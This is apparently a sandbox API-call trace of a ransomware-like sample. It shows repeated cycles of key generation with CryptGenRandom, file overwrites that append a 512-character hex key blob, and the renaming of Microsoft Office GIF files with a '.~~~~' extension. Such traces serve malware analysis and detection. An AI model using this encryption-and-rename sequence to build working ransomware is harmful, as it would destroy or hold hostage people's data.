	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822060
	[0129.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822060 | out: hHeap=0x300000) returned 1
	[0129.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806d28
	[0129.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806d28 | out: hHeap=0x300000) returned 1
	[0129.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.378] GetLastError () returned 0x0
	[0129.378] GetLastError () returned 0x0
	[0129.378] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.378] GetLastError () returned 0x0
	[0129.379] GetLastError () returned 0x0
	[0129.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.380] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xad, lpOverlapped=0x0) returned 1
	[0129.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.382] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.382] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.382] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.382] CloseHandle (hObject=0x130) returned 1
	[0129.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806d28
	[0129.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif.~~~~")) returned 1
	[0129.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806d28 | out: hHeap=0x300000) returned 1
	[0129.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.599] GetLastError () returned 0x0
	[0129.599] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.601] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.601] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24959092124) returned 1
	[0129.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6b17ff0, dwHighDateTime=0x1d60e1e)) 
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822418
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822418 | out: hHeap=0x300000) returned 1
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0129.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b14e8
	[0129.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.602] GetLastError () returned 0x0
	[0129.602] GetLastError () returned 0x0
	[0129.602] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.602] GetLastError () returned 0x0
	[0129.602] GetLastError () returned 0x0
	[0129.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.604] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x27d, lpOverlapped=0x0) returned 1
	[0129.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.606] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.606] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.606] CloseHandle (hObject=0x130) returned 1
	[0129.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1570
	[0129.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif.~~~~")) returned 1
	[0129.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.608] GetLastError () returned 0x0
	[0129.608] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.610] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.610] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.610] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24960024619) returned 1
	[0129.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6b17ff0, dwHighDateTime=0x1d60e1e)) 
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822450
	[0129.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822450 | out: hHeap=0x300000) returned 1
	[0129.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0129.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1580
	[0129.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.611] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.611] GetLastError () returned 0x0
	[0129.611] GetLastError () returned 0x0
	[0129.612] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.612] GetLastError () returned 0x0
	[0129.612] GetLastError () returned 0x0
	[0129.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.615] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x3a4, lpOverlapped=0x0) returned 1
	[0129.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.618] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.618] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.618] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.619] CloseHandle (hObject=0x130) returned 1
	[0129.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1570
	[0129.619] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif.~~~~")) returned 1
	[0129.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.620] GetLastError () returned 0x0
	[0129.622] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.623] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.623] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24961323789) returned 1
	[0129.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6b3e150, dwHighDateTime=0x1d60e1e)) 
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822488
	[0129.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822488 | out: hHeap=0x300000) returned 1
	[0129.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0129.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b19a8
	[0129.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.624] GetLastError () returned 0x0
	[0129.624] GetLastError () returned 0x0
	[0129.625] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.625] GetLastError () returned 0x0
	[0129.625] GetLastError () returned 0x0
	[0129.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffea0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.627] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x160, lpOverlapped=0x0) returned 1
	[0129.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.629] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.629] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.629] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.630] CloseHandle (hObject=0x130) returned 1
	[0129.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1570
	[0129.630] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif.~~~~")) returned 1
	[0129.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.631] GetLastError () returned 0x0
	[0129.632] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.633] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.633] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.633] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24962351885) returned 1
	[0129.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6b642b0, dwHighDateTime=0x1d60e1e)) 
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28224c0
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28224c0 | out: hHeap=0x300000) returned 1
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0129.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0129.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0129.634] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.634] GetLastError () returned 0x0
	[0129.635] GetLastError () returned 0x0
	[0129.635] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.635] GetLastError () returned 0x0
	[0129.635] GetLastError () returned 0x0
	[0129.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff9e9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.745] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x617, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x617, lpOverlapped=0x0) returned 1
	[0129.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.746] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.747] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.747] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.747] CloseHandle (hObject=0x130) returned 1
	[0129.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f05b0
	[0129.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif.~~~~")) returned 1
	[0129.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.847] GetLastError () returned 0x0
	[0129.873] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.874] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.874] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.874] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24986461958) returned 1
	[0129.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6d9f750, dwHighDateTime=0x1d60e1e)) 
